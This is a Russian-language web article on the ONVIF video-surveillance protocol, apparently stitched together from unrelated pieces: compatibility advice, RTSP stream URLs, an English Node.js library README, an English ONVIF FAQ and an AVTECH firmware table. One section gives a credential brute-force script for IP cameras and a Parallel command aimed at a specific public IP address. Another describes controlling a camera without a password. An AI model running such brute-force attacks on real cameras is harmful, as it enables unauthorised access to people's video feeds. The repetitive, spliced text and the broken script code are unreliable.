Что такое onvif протокол?

Проблемы с совместимостью

Несмотря на то, что производители оборудования утверждают, что оно совместимо со стандартом ONVIF, иногда возникают определенные проблемы. Например, при попытке установки и настройки камер видеонаблюдения, обнаруживается, что видеорегистратор напрочь отказывается их видеть, находясь при этом в той же локальной сети, либо не работает датчик движения или любые другие программные функции. С чем же связаны подобные трудности?

Во-первых, вы должны полностью удостовериться, что все ваши устройства действительно поддерживают ONVIF протокол. Некоторые производители часто отмечают свои продукты, как совместимые с ONVIF протоколом, хотя на деле оказывается, что это далеко не так. Для минимизации риска несовместимости лучше всего использовать оборудование для видеонаблюдения от производителей, имеющих официальное членство в ONVIF.

Во-вторых, несовместимость может вызываться различием профилей оборудования. Одна только поддержка ONVIF еще не означает, что устройства будут совместимы между собой. Для полной уверенности необходимо убедиться, что все оборудование вашей системы поддерживает Profile S, так как наличие поддержки данного профиля увеличивает вероятность совместимости по всем основным параметрам любой версии ONVIF.

С этим читают:

Камеры видеонаблюдения с высоким разрешением записи

PTZ камеры видеонаблюдения — управление, характеристики и особенности

Как настроить DDNS для видеонаблюдения?

Панорамные камеры видеонаблюдения: особенности использования, и популярные модели

Как сохранить видео с камеры в CMS

Перейдите в раздел «Записи», выберите в выпадающих списках «Устройство» и «Канал». Если у вас одна камера, то там доступно по одному варианту.

В полях «Старт» и «Конец» установите дату, при желании также установите время, за которое вас интересуют записи.

Когда будете готовы, нажмите кнопку «Поиск» для вывода доступных видео файлов.

Выделите те, которые вы хотите скачать и нажмите кнопку «Выгрузка».

Нажмите кнопку «Обзор» и выберите папку, куда вы хотите сохранить записи с камеры наблюдения. В поле TitleName вы можете указать имя файлов. В выпадающем списке «Тип» доступны два варианта:

  • H264
  • AVI

Когда будете готовы, нажмите ОК.

Выгрузка займёт определённое время, особенно при больших файлах. Процесс загрузки видео записей с камеры может затянуться, поскольку карты памяти плохо работают при одновременном выполнении нескольких операций, а в момент выгрузки происходит также и запись видео с камеры.

Прогресс выполнения операции появится в выделенной строке, причём он относится только к одному файлу.

Брут-форс камер через ONVIF

Для некоторых хостов скрипт extractor.py будет выдавать примерно следующие ошибки:

zeep.exceptions.Fault: Sender not Authorized
During handling of the above exception, another exception occurred:
onvif.exceptions.ONVIFError: Unknown error: Sender not Authorized

Они означают, что пустые логин и пароль не подходят и нужно указать действительные учётные данные.

Используя это можно написать скрипты для брут-форса учётных данных IP камер. Преимущество этого метода по сравнению с Cameradar в том, что не нужно искать URI медиа потока.

Создадим файл bruteforcer.py и скопируем в него:

import sys
from onvif import ONVIFCamera

if len(sys.argv) < 4:
	user = ''
else:
	user = sys.argv

if len(sys.argv) < 5:
	password = ''
else:
	password = sys.argv 		

mycam = ONVIFCamera(sys.argv, sys.argv, user, password, '/usr/local/lib/python3.9/site-packages/wsdl/')

resp = mycam.devicemgmt.GetDeviceInformation()
print (str(resp))

На самом деле, это упрощённый вариант скрипта extractor.py — чтобы понять, что учётные данные неправильные, нам не нужно делать три запроса, достаточно одного.

Пример запуска:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ

Если к команде добавить «2>/dev/null», то мы не увидим ошибки — в случае успешной аутентификации будут выведены только данные об устройстве:

python3 bruteforcer.py ХОСТ ПОРТ ПОЛЬЗОВАТЕЛЬ ПАРОЛЬ 2>/dev/null

Пример брут-форса логина и пароля IP камеры с помощью Parallel:

parallel -j2 -a usernames.txt -a passwords.txt 'python3 bruteforcer.py 103.96.7.96 80 2>/dev/null {1} {2}'

Назначение протокола

Для примера применения представленного протокола можно взять взаимодействие видеорегистраторов. Ранее использовались аналоговые камеры, которые производили преобразование оптического изображения в аналоговый видеосигнал. Их совместимость не вызывала никаких вопросов. Для устройства системы можно было приобрести технику различных производителей.

С развитием технологий востребованными стали IP-видеокамеры. Они являются, по сути, цифровым видеорегистратором, особенностью которого стала передача потокового видео в цифровом формате по сети, применяющей протокол IP. Но с совместимостью этого вида техники стали возникать трудности. Оборудование от разных производителей не могло взаимодействовать между собой, потому что каждая компания применяла отдельный стандарт. По этой причине производители техники пришли к выводу, что придется разработать такой протокол, который бы позволил совмещать эти устройства.

С появлением IP камер на раннем этапе развития технологии возникали определенные затруднения, касающиеся совместимости оборудования

Компания ONVIF смогла создать единый стандарт, который используется на сегодняшний день повсюду. Он позволяет взаимодействовать устройствам различных типов и производителей, а также существенно облегчает процедуру корректировки значений и внедрение новых компонентов в готовую систему. В разработке этого стандарта участвовали 3 компании: Bosch, Sony и Axis. Он стал доступен для использования в 2008 году. С тех пор настройка видеонаблюдения с применением IP-камер, стала намного проще.

С течением времени и развитием технологий происходит совершенствование протокола и выпуск его обновленных версий. Хронология выхода обновлений стандарта:

  • 2008 г. – официальный релиз первой версии ONVIF;
  • 2010 г. – выход обновления ONVIF 2.0;
  • в 2012 г. был выпущен Profile S, который служил для совместимости версий протокола;
  • 2013 год – релиз ONVIF 2.4;
  • в 2013 – был выпущен Profile C, предназначенный для совместимости версий протокола;
  • в 2014 – выпуск профайла G, релиз версии Q и обновление протокола ONVIF 2.5.

Описание и возможности

Приложение поддерживает устройства, работающие по протоколу ONVIF. Через утилиту можно управлять IP-камерами, видеорегистраторами и удаленно транслировать видео. Поддерживается добавление группы устройств и быстрое переключение между ними. Рассмотрим основные функции:

  • автоматический поиск устройств;
  • подключение по логину и паролю;
  • показ «живого» видео;
  • конфигурирование видеозахвата, сервера, аналитики;
  • работа с метаданными и событиями;
  • определение тревожных событий и оповещений;
  • автоматическое обновление ПО;
  • настройка триггеров по событиям;
  • управление локальной сетью, сетевой записью;
  • изменение параметров изображения;
  • подключение сторонних плагинов.

Утилита поддерживает следующие типы устройств:

  • NVD – устройства, получающие видеопоток по сети;
  • NVT – IP-камеры и кодировщики;
  • NVA – устройство с поддержкой обработки данных и аналитики;
  • NVS – девайс с записью типа NVT, но с дополнением в качестве профиля G.

Для чего нужен протокол RTSP?

Название протокола RTSP переводится управление в онлайн-режиме. Таким образом, Real Time Streaming Protocol помогает наладить управление потоковым видео онлайн. Данный протокол очень часто используется в IP-видеонаблюдении, поскольку там есть описание необходимых команд.

RTSP-протокол позволяет собственнику камеры слежения решать несколько важных функций:

  • транслировать данные при помощи VLC;
  • транслировать видео на свои ресурсы и площадки;
  • настраивать NVR-видеорегистраторы;
  • соединять камеру видеонаблюдения с виртуальным хранилищем;
  • добавлять видеокамеру в мобильные приложения на базе Android или iOS.

При этом открыть RTSP-поток многим пользователям систем видеонаблюдения не очень просто и достаточно затруднительно.

RTSP с видеокамеры для онлайн трансляцииRTSP с видеокамеры для онлайн трансляции

Узнаем адрес RTSP камеры видеонаблюдения

Есть несколько вариантов, которые позволяют узнать RTSP поток видеокамеры, когда он не указан в соответствующей инструкции.

Большое количество IP-видеокамер, которые продаются в России, в своём составе имеют китайские элементы XMEye. Данные комплектующие можно заметить даже у отечественных производителей таких камер, как Vesta, HiQ, SVplus и подобных. Камера подобных моделей будет иметь следующий формат RTSP-потока:

rtsp://192.168.132.32:554/user=admin&password=12345&channel=1&stream=0.cgi

В данном адресе присутствуют такие составляющие, как:

  • 192.168.132.32 – непосредственно IP-адрес устройства;
  • 554 – порт протокола (по умолчанию он имеет номер 554, но этот параметр можно поменять в настройках устройства);
  • admin – логин камеры видеонаблюдения;
  • 12355 – пароль от логина пользователя.

В том случае, когда в IP-видеокамере присутствуют другие комплектующие, необходимо будет воспользоваться одним из двух перечисленных ниже вариантов.

Для начала нужно будет скачать программу под названием One Device Manager. После установки данный софт поможет узнать RTSP-адрес.

Как правило, большинство видеокамер обладает поддержкой onvif-протокола, поэтому при эксплуатации программного обеспечения затруднений возникнуть не должно. Важный нюанс – для правильно работы необходимо подсоединить ноутбук или компьютер, куда будет установлена программа, а также само IP-устройство к одной и той же локальной сети.

В сети можно найти целые списки, где содержатся адреса RTSP-потоков, поскольку эти данные зависят от того, какой именно бренд выпускает камеру видеонаблюдения.

Как открыть RTSP-поток в видеокамере?

Когда адрес RTSP-потока становится известен владельцу системы слежения, он может получать видеоинформацию с IP-камеры. Для того, чтобы открыть трансляцию потокового видео, необходимо будет выполнить следующий перечень шагов:

  • установить для видеокамеры постоянный IP-адрес и заказать его у поставщика интернета;
  • перебросить на RTSP-порт локальные запросы, поступающие с видеокамеры;
  • пройти проверку работоспособности.

Статический адрес можно настроить можно при помощи программы IP Hunter или же связаться с провайдером и попросить его обеспечить в качестве дополнительной опции постоянный адрес IP. После этого нужно настроить переадресацию и пробросить порты на RTSP-порт с локальных портов видеокамеры. Затем можно переходить к проверке потока.

Чтобы понять, обладает ли RTSP-ссылка работоспособностью, можно открыть VLC-плеер и сделать там проверку. Для этого в главном меню плеера нужно нажать на категорию «Медиа» и выбрать пункт «Открыть URL». Далее потребуется перейти на вкладку «Сеть» окошка «Источник» и указать свою ссылку.

Другие статьи:

    • Выбираем IP-камеры для улицы
    • Лучшая ip камера для дома: особенность выбора
    • Тепловизионные камеры видеонаблюдения
    • Датчики температуры воздуха — общие понятия и применение

Как взломать IP камеру?

Меня попросили настроить камеру (потому что инструкция на английском), это оказалась камера с AliExpress (потому что дёшево) и у меня появилось много замечательных наблюдений. Камера с последней прошивкой от этого года, для неё имеется современное приложение для мобильных телефонов, чтобы зарегистрироваться в приложении нужно придумать логин и сложный пароль, для доступа к камере из приложения также нужно установить пароль. Есть облачный сервис для хранения видео. На камере маркировка IP о защите от воды и пыли. Умеет каким-то хитрым образом сопрягаться с телефоном и получать от него пароль от Wi-Fi будучи подключённой только к розетке. Это с одной стороны.

А с другой стороны, старенькое приложение под Windows ONVIF Device Manager нашло за секунду эту камеру и показало видео с этой камеры и ссылку, по которой видео с этой камеры может смотреть кто угодно простым VLC проигрывателем, конечно же, не вводя никакие пароли. Это не всё, из ONVIF Device Manager можно управлять камерой — поворачивать и прочее. В ONVIF Device Manager есть кнопка обновления прошивки, но я не стал её проверять. Это всё без паролей. И это при том, что родная админка с веб-интерфейсом не открылась ни в одном браузере.

Эта камера дала мне идею написать предыдущую статью «Как обнаружить скрытые камеры» и эту, которую вы сейчас читаете.

Мы познакомимся с программой Cameradar и протоколом ONVIF. А разбор прошивки камеры оставим на статью о криминалистическом исследовании образов дисков и файловых систем (из интересного — простая защита от монтирования (мусор перед настоящей файловой системой) и пароль пользователя root, который некуда вводить, так как к видеопотоку и управлению камера даёт доступ без пароля).

Для многих камер Cameradar показывает производителей — есть шанс пополнить список вендоров для поиска скрытых камер наблюдения. А если камера уязвима по ONVIF протоколу, то можно узнать её MAC-адрес, который тоже подойдёт для инструкции по обнаружению камер.

Discovery

Since 0.2.7 version library supports WS-Discovery of NVT devices. Currently it uses only SOAP method that just works well.
You can find devices in your subnetwork using method of the Discovery singleton.
Discovery is an EventEmitter inheritor, so you can wait until discovery timeout, or subscribe on event.
Here some examples:

var onvif = require('onvif');
onvif.Discovery.on('device', function(cam){
// function will be called as soon as NVT responses
	cam.username = <USERNAME>;
	cam.password = <PASSWORD>;
	cam.connect(console.log);
})
onvif.Discovery.probe();
var onvif = require('onvif');
onvif.Discovery.probe(function(err, cams) {
// function will be called only after timeout (5 sec by default)
	if (err) { throw err; }
	cams.forEach(function(cam) {
		cam.username = <USERNAME>;
		cam.password = <PASSWORD>;
		cam.connect(console.log);
	});
});

In all of that cases you’ve got disconnected cameras. To access each camera (and issue ONVIF commands) you normally need
the tuple . So, as shown in the examples, you can assign these properties and call method to
get full functionality.

Discovery.probe(options, callback)

Options

  • , number. Time the probe method will wait NVT responses in ms
  • , boolean. If this argument is false, all discovered NVTs would be presented as data object instead of Cam instance

Discovery events

  • fires on device discover. is a Cam instance, remoteInfo is an object with network information
    and responseXML is a body of SOAP response
  • fires on some UDP error or on bad SOAP response from NVT

Quick example

This example asks your camera to look up and starts a web server at port 3030 that distributes a web page with vlc-plugin
container which translates video from the camera.

var
  http = require('http'),
  Cam = require('onvif').Cam;

new Cam({
  hostname: <CAMERA_HOST>,
  username: <USERNAME>,
  password: <PASSWORD>
}, function(err) {
  this.absoluteMove({x: 1, y: 1, zoom: 1});
  this.getStreamUri({protocol:'RTSP'}, function(err, stream) {
    http.createServer(function (req, res) {
      res.writeHead(200, {'Content-Type': 'text/html'});
      res.end('<html><body>' +
        '<embed type="application/x-vlc-plugin" target="' + stream.uri + '"></embed>' +
        '</body></html>');
    }).listen(3030);
  });
});

Open Source Development

When did ONVIF officially make the move to GitHub? As of September 2020, ONVIF supports network interface specification development at https://github.com/onvif/specs.

What is the motivation for open sourcing network interface specification development? What are the benefits?

Open sourcing the development of ONVIF network interface specifications streamlines the administrative and collaborative process and allows ONVIF to leverage the talents of a wider community of developers, gain fresh input from organizations and individuals whom ONVIF has not reached before, spur greater feature interoperability and innovation, and provide new specifications faster to meet existing and future market demands.

Are there any criteria to participate in ONVIF network interface specification development on GitHub? Anyone can contribute on GitHub and contributors will need to accept the ONVIF Contributor License and the Apache license conditions. The ONVIF Contributor License states that the contributing author grants ONVIF a non-exclusive, perpetual, non-remunerative, sub-licensable copyright license to reproduce, distribute, perform, display, and create derivative works of the Contribution solely for the purpose of producing and distributing the relevant ONVIF Network Interface Specification(s). The Apache license ensures that contributions can be jointly developed and that the contributor grants a patent license.

How does having ONVIF network interface specification development on GitHub improve the development process? How does this impact or compare with the old ONVIF process?

Open source development is a trend that has proven to be successful and makes specification contributions easier and more efficient. ONVIF schema files and related documents are accessible on GitHub. Anyone may copy and distribute the files, make/propose changes to copies of the files and submit the change requests to ONVIF. Once proposed changes are accepted/approved by the ONVIF Technical Committee, GitHub automatically merges the changes to a development branch. This eliminates the need for a dedicated editor to update network interface specification files. And once clearance is achieved following an IPR review, the new development branch is integrated into the master file. Enabling development on GitHub eliminates manual handling of change requests currently done through a ticket system. ONVIF moved from Word-based documentation to DocBook for easy maintenance and merging of specifications.

What impact does this have on the ONVIF conformance process? Open source development of ONVIF network interface specifications has no impact on the ONVIF product conformance process, nor anything to do with profile or test tool development. The addition of open source development affects only one aspect of the work of ONVIF, and that is the establishment of standard network interface specifications for IP-based physical security products.

Для чего нужен этот протокол?

Этот стандарт состоит из стандартизированного цифрового интерфейса видеонаблюдения и направлен на объединение таких функций оборудования:

  1. Передача аудио- и видео потока с предварительным сжатием.
  2. Регулирование параметров потоковой трансляции видеоданных.
  3. Аналитика видеоданных.
  4. Настройка профилей IP-камеры, с которыми та может работать.
  5. Управление камерами с движущимся PZT-механизмом.
  6. Input и output для сопряжения с «датчиками тревоги».
  7. Детектирование движущихся тел.
  8. Шифрование данных и прочая защита.

За время своего существования протокол совершенствовался, было разработано несколько ONVIF версий:

  • 1.0 – 2008 г;
  • 2.0 – 2010 г;
  • 2.2 – 2012 г;
  • 2.4 – 2013 г;
  • 2.5 – 2014 г.

С 2015 года число участников форума перевалило за отметку в 500 компаний. О работе форума и протокола можно узнать с официального сайта https://www.onvif.org.

Естественно, на начальных этапах и при дальнейшем развитии протокола, сопряженные технологии развивались вместе с ним. Чтобы не возникало путаницы с несовместимыми устройствами, не поддерживающими тот или иной перечень опций, предложенный ONVIF, была принята концепция профилей.

Создание общего стандарта безопасности для IP камер

В 2008 году компании Sony, Bosch и Axis разработали стандарт под названием Open Network Video Interface Forum (ONVIF). Данный стандарт призван решить проблему несовместимости оборудования различных производителей для упрощения создания системы видеонаблюдения на базе IP камер. Протокол ONVIF имеет стандартизированный цифровой интерфейс оборудования для видеонаблюдения, и объединяет в себе такие аспекты взаимодействия оборудования, как:

  • Сжатие и передача видео- и аудиопотока;
  • Настройка потоковой передачи видеоданных;
  • Видеоаналитика;
  • Обнаружение IP-устройств;
  • Регулирование профилей работы камеры;
  • Управление поворотными камерами (PTZ);
  • Входы и выходы для подключения тревожных датчиков;
  • Обнаружение движения;
  • Защита и контроль доступа (шифрование и т. д.).

В процессе развития ONVIF претерпел некоторые изменения и сегодня имеет много стандартных версий:

  • ONVIF 1.0 – 2008г;
  • ONVIF 2.0 – 2010г;
  • ONVIF 2.2 – 2012г;
  • ONVIF 2.4 – 2013г;
  • ONVIF 2.5 – 2014г.

Проблемы с ONVIF

От производителей техники часто звучит утверждение, что их продукция совместима со стандартом ONVIF. Но иногда в этом отношении пользователи отмечают некоторые проблемы. Например, затруднительными могут быть действия, направленные на установку и настройку видеокамер для наблюдения, так как видеорегистратор может их не обнаруживать. При этом устройства могут быть в единой локальной сети. Частой проблемой является неработающий датчик движения или отказ функционирования программных функций.

Onvif IP камера в ПО ИнтеллектOnvif IP камера в ПО Интеллект

Представленные проблемы могут быть связаны с тем, что не все устройства в сети действительно совместимы с протоколом ONVIF. Иногда производители указывают неправдивые сведения и совместимости со стандартами, принятыми на Open Network Video Interface Forum. Чтобы эти проблемы не возникали, следует приобретать оборудование тех компаний, которые являются официальными членами в ONVIF.

Причиной несовместимости может также быть различие профилей видеооборудования. Стоит учитывать тот факт, что поддержка ONVIF не является гарантией совместимости устройств. Для корректного функционирования системы должен быть использован Profile S. Он позволяет повысить вероятности совместимости в отношении основных характеристик в любой версии протокола.

Проблемы совместимости

Производители, состоящие в качестве мемберов сообщества ONVIF, утверждают, что, приобретая их продукцию вы избавите себя от возможных неприятных последствий в виде несовместимости программного обеспечения и продукции. К сожалению, из каждого правила есть исключение и при проработке собственных систем IP-видеонаблюдения есть вероятность столкнуться с трудностями.

Основная проблема выглядит так – во время монтажа и настройки камеры IP-наблюдения выяснится, что видеорегистратор не обнаруживает подключенное устройство. Хотя причин тому быть не может, так как оба девайса подключены к единой сети. Проблемы могут проявиться из-за различных причин:

Интеграция по стандарту ONVIF

ONVIF (Open Network Video Interface Forum) открытый стандарт для систем сетевого видеонаблюдения, созданный компаниями Axis Communications, Bosch Security Systems и Sony в 2008 году. Стандарт является некоммерческим и открыт для производителей, разработчиков программного обеспечения, системных интеграторов. ONVIF поддерживает более 500 компаний, имеющих суммарную долю российского рынка IP-видеонаблюдения более 90%.  ONVIF определяет протоколы взаимодействия таких устройств как IP-камеры, кодеры, видеорегистраторы (NVR), системы управления видео, сетевые видеодисплеи и системы контроля доступа.

Стандартом определяются аспекты взаимодействия IP-камеры с системами управления или видеозаписи (DVR, NVR): конфигурирование сетевого интерфейса, обнаружение устройств по протоколу WS-Discovery, управление профилями работы камеры, настройка потоков  передачи медиа-данных, обработка событий, управление приводом PTZ, видеоаналитика, защита (управление доступом, шифрование).

Стандарт ONVIF поддерживается многими устройствами AVTECH:

Модель Версия Firmware Модель Версия Firmware Модель Версия Firmware
Камеры в стандартном коппусе
AVM400 1023-1007-1016-1002 AVM216 1052-1027-1034-1008 AVM317 1050-1027-1034-1008
AVM301  1050-1027-1034-1008 AVM217 1052-1027-1034-1008 AVM500 1049-1023-1027-1013
Купольные камеры
AVM328 1050-1027-1034-1008 AVM428 1023-1007-1016-1002 AVM521 1049-1023-1027-1013
AVM542 1049-1023-1027-1013 AVM532 1049-1023-1027-1013 AVM511 1049-1023-1027-1013
AVM503 1049-1023-1027-1013        
Камеры с ИК подсветкой
AVM265 1052-1027-1034-1008 AVM257 1052-1027-1034-1008 AVN363 1080-1044-1001
AVM357 1050-1027-1034-1008 AVM457 1023-1007-1016-1003 AVM565 1017-1013-1014-1005
AVM459 1023-1007-1016-1002 AVM359 1050-1027-1034-1008 AVM552 1049-1023-1027-1013
Поворотные камеры
AVN244V 1076-1017-1034-1007 AVM284V 1047-1027-1031-1008 AVM571 1049-1023-1027-1013
AVM583 1049-1023-1027-1013        
Дополнительное оборудование
AVX931 1076-1017-1034-1007        

Обязательным условием данного варианта интеграции является поддержка всем используемым IP видеооборудованием стандарта ONVIF.

Оборудование AVTECH для работы по ONVIF использует порт №88.

Оцените статью
Рейтинг автора
5
Материал подготовил
Илья Коршунов
Наш эксперт
Написано статей
134
Добавить комментарий